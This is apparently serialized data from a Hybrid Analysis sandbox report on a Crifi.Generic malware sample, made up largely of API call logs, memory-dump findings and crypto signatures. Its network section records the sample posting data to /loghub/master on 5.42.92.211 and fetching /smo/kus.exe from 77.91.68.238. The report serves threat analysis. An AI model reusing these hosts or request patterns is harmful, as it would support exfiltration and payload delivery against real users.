24:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/3fc9w1ah_nm2g.js"],"SampleDetailWrapper"] 7c:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T49b,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Crifi.Generic Sample 121d34fe6849… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 121d34fe6849…. Malware family: Crifi.Generic. Threat score 100/100. 8/29 AV engines flagged this file. 19 malicious and 26 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf","keywords":["Malicious","Crifi.Generic","malware analysis","sandbox report","threat intelligence","121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf"],"about":{"@type":"SoftwareApplication","name":"d655efb0d0cf2da08294675bf71c3375.exe","applicationCategory":["peexe","executable"],"identifier":"121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Crifi.Generic","antivirusDetections":{"malicious":8,"total":29},"behavioralIndicators":{"malicious":19,"suspicious":26},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T761,"121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf.exe" called "FindResourceA" with parameter "70264" - (UID: 00000000-00007276) "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf.exe" called "FindResourceA" with parameter "70272" - (UID: 00000000-00007276) "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf.exe" called "FindResourceA" with parameter "70300" - (UID: 00000000-00007276) "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf.exe" called "FindResourceA" with parameter "70512" - (UID: 00000000-00007276) "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf.exe" called "FindResourceA" with parameter "70328" - (UID: 00000000-00007276) "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf.exe" called "FindResourceA" with parameter "70484" - (UID: 00000000-00007276) "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf.exe" called "FindResourceA" with parameter "70496" - (UID: 00000000-00007276) "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf.exe" called "FindResourceA" with parameter "13105896" - (UID: 00000000-00007276) "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf.exe" called "FindResourceA" with parameter "70380" - (UID: 00000000-00007276) "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf.exe" called "FindResourceA" with parameter "70476" - (UID: 00000000-00007276) "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf.exe" called "FindResourceA" with parameter "13105892" - (UID: 00000000-00007276) "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf.exe" called "FindResourceA" with parameter "70344" - (UID: 00000000-00007276) "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf.exe" called "FindResourceA" with parameter "70352" - (UID: 00000000-00007276)26:Tcc0,"121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '116864'}" (UID: 00000000-00007276) "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '116720'}" (UID: 00000000-00007276) "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '116880'}" (UID: 00000000-00007276) "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '116768'}" (UID: 00000000-00007276) "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '116736'}" (UID: 00000000-00007276) "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '116784'}" (UID: 00000000-00007276) "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '116832'}" (UID: 00000000-00007276) "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '116704'}" (UID: 00000000-00007276) "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '116816'}" (UID: 00000000-00007276) "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '116848'}" (UID: 00000000-00007276) "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '116800'}" (UID: 00000000-00007276) "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '116752'}" (UID: 00000000-00007276) "z0143525.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '12044416'}" (UID: 00000000-00002672) "z0143525.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '12044272'}" (UID: 00000000-00002672) "z0143525.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '12044432'}" (UID: 00000000-00002672) "z0143525.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '12044320'}" (UID: 00000000-00002672) "z0143525.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '12044288'}" (UID: 00000000-00002672) "z0143525.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '12044336'}" (UID: 00000000-00002672) "z0143525.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '12044384'}" (UID: 00000000-00002672) "z0143525.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '12044256'}" (UID: 00000000-00002672) "z0143525.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '12044368'}" (UID: 00000000-00002672) "z0143525.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '12044400'}" (UID: 00000000-00002672)27:Ta39,"121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP000.TMP (UID: 00000000-00007276) "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP000.TMP\ (UID: 00000000-00007276) "z0143525.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP000.TMP (UID: 00000000-00002672) "z0143525.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP001.TMP (UID: 00000000-00002672) "z0143525.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP001.TMP\ (UID: 00000000-00002672) "z3672075.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP000.TMP (UID: 00000000-00007228) "z3672075.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP001.TMP (UID: 00000000-00007228) "z3672075.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP002.TMP (UID: 00000000-00007228) "z3672075.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP002.TMP\ (UID: 00000000-00007228) "z9579752.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP000.TMP (UID: 00000000-00001620) "z9579752.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP001.TMP (UID: 00000000-00001620) "z9579752.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP002.TMP (UID: 00000000-00001620) "z9579752.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP003.TMP (UID: 00000000-00001620) "z9579752.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP003.TMP\ (UID: 00000000-00001620) "z8332048.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP000.TMP (UID: 00000000-00001752) "z8332048.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP001.TMP (UID: 00000000-00001752) "z8332048.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP002.TMP (UID: 00000000-00001752) "z8332048.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP003.TMP (UID: 00000000-00001752) "z8332048.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP004.TMP (UID: 00000000-00001752) "z8332048.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP004.TMP\ (UID: 00000000-00001752) "foto7447.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP000.TMP (UID: 00000000-00005548) "foto7447.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP000.TMP\ (UID: 00000000-00005548) "x8060195.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP001.TMP\ (UID: 00000000-00008132) "x3683024.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP000.TMP (UID: 00000000-00007196) "x3683024.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP001.TMP (UID: 00000000-00007196)28:T8e1,Found PE header "MZ" - Source: "00000000-00001620.00000000.70100.013D0000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00002448.00000000.70919.00F30000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00002596.00000000.72200.00E70000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00002596.00000001.74118.00E70000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00002672.00000000.70022.00B70000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00002904.00000000.71280.00240000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00002904.00000000.71280.6CDA0000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00002904.00000001.73200.00240000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00002904.00000001.73200.6CDA0000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00002904.00000002.75120.00240000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00002904.00000002.75120.6CDA0000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00003236.00000000.73311.01140000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00003236.00000001.75015.01140000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00003236.00000002.76936.01140000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00003704.00000000.76627.00DD0000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00003704.00000000.76627.00E9D000.00000004.mdmp") Found PE header "MZ" - Source: "00000000-00004184.00000000.72316.003B0000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00004528.00000000.76349.70A20000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00004724.00000000.71260.01010000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00004724.00000001.73176.01010000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00004724.00000002.75096.01010000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00004764.00000000.76182.00E70000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00005480.00000000.72453.00F30000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00005548.00000000.71795.00A10000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00005548.00000001.73715.00A10000.00000002.mdmp")29:T131a,Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007276-51499-52-0001597D Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007276-51499-52-0001597D Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007276-51499-64-000118A3 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007276-51499-64-000118A3 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007276-51499-18-000124E0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007276-51499-18-000124E0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007276-51499-8-000144B9 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007276-51499-8-000144B9 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007276-51499-70-00015C9E Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007276-51499-70-00015C9E Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007276-51499-55-00015467 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007276-51499-55-00015467 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007276-51499-14-0001681F Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007276-51499-14-0001681F Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007276-51499-58-00012630 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007276-51499-58-00012630 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007276-51499-36-00012AAC Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007276-51499-36-00012AAC Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007276-51499-21-000152B6 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007276-51499-21-000152B6 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007276-51499-34-0001202A Assembly shows XOR instruction xor eax 01h in Stream UID: 00000000-00007276-51499-34-0001202A Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007276-51499-34-0001202A Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007276-51499-66-000136EE Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007276-51499-66-000136EE Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007276-51499-33-00016495 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007276-51499-33-00016495 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007276-51499-51-0001621E Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007276-51499-51-0001621E Assembly shows XOR instruction xor eax esp in Stream UID: 00000000-00007276-51499-28-00013BA2 Assembly shows XOR instruction xor ecx esp in Stream UID: 00000000-00007276-51499-28-00013BA2 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007276-51499-69-00012773 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007276-51499-69-00012773 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007276-51499-44-00014EFD Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007276-51499-44-00014EFD Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007276-51499-35-00011AE8 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007276-51499-35-00011AE8 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007276-51499-57-000153A1 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007276-51499-57-000153A1 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007276-51499-65-000117EE Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007276-51499-65-000117EE Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007276-51499-29-00013FEF Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007276-51499-29-00013FEF Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007276-51499-49-00016298 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007276-51499-49-00016298 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007276-51499-63-00012CAA Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007276-51499-63-00012CAA Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007276-51499-5-00011F90 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007276-51499-5-00011F90 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007276-51499-54-000155A0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007276-51499-54-000155A02a:T2623,Contains base64 string in header "POST" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=8AtwSSBFIiAlBPfGJgHFContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=8AtwSSBFIiAlBPfGJgHFContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Type" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=8AtwSSBFIiAlBPfGJgHFContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "data" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=8AtwSSBFIiAlBPfGJgHFContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "MSIE" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=8AtwSSBFIiAlBPfGJgHFContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "InfoPath" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=8AtwSSBFIiAlBPfGJgHFContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Host" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=8AtwSSBFIiAlBPfGJgHFContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Keep" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=8AtwSSBFIiAlBPfGJgHFContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "/smo/kus" in header "GET /smo/kus.exe HTTP/1.1Host: 77.91.68.238" Contains base64 string in header "POST" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=EeOXUP5OVc8BrfAmxQ17Content-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=EeOXUP5OVc8BrfAmxQ17Content-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Type" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=EeOXUP5OVc8BrfAmxQ17Content-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "data" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=EeOXUP5OVc8BrfAmxQ17Content-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "MSIE" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=EeOXUP5OVc8BrfAmxQ17Content-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "InfoPath" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=EeOXUP5OVc8BrfAmxQ17Content-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Host" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=EeOXUP5OVc8BrfAmxQ17Content-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Keep" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=EeOXUP5OVc8BrfAmxQ17Content-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "POST" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=CpPm0EuPveEGjuMgSYamContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=CpPm0EuPveEGjuMgSYamContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Type" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=CpPm0EuPveEGjuMgSYamContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "data" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=CpPm0EuPveEGjuMgSYamContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "MSIE" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=CpPm0EuPveEGjuMgSYamContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "InfoPath" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=CpPm0EuPveEGjuMgSYamContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Host" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=CpPm0EuPveEGjuMgSYamContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Keep" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=CpPm0EuPveEGjuMgSYamContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "POST" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=lI306QK0SbeQ4Lz6cqC8Content-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=lI306QK0SbeQ4Lz6cqC8Content-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Type" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=lI306QK0SbeQ4Lz6cqC8Content-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "data" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=lI306QK0SbeQ4Lz6cqC8Content-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "MSIE" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=lI306QK0SbeQ4Lz6cqC8Content-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "InfoPath" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=lI306QK0SbeQ4Lz6cqC8Content-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Host" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=lI306QK0SbeQ4Lz6cqC8Content-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Keep" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=lI306QK0SbeQ4Lz6cqC8Content-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache"2b:T52b,The analysis contains indicators for cyrpto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Calls an API typically to import asymmetric cryptographic keys into a CSP Matched sigs: Calls an API typically to import cryptographic keys into a CSP Matched sigs: Reads the cryptographic machine GUID Matched sigs: Calls an API typically used to decrypt the data Matched sigs: Calls an API typically used to decrypt a block of data Matched sigs: HTTP requests contain Base64 strings Matched sigs: Contains ability to use Microsoft's Enhanced Cryptographic Provider Matched sigs: Contains ability to perform AES/RC4 encryption (API string) Matched sigs: Contains ability to perform decryption (API string) Matched sigs: Contains CRYPTO related strings Matched sigs: Contains ability to use Cryptographic classes Matched sigs: Contains ability to perform Base64 encoding/decoding Matched sigs: PCAP contains base64 strings Matched sigs: Dropped file has high entropy (likely encrypted/compressed content) Matched sigs: Contains ability to decode string content at runtime (Dotnet) Matched sigs: Contains ability to perform crypto operations Matched sigs: Sample file has high entropy (likely encrypted/compressed content) Matched sigs: Contains XOR operation loops [Stream disassembly]2c:T191e,"121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007276) "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007276) "z0143525.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002672) "z0143525.exe" called "RtlGetVersion" with parameter 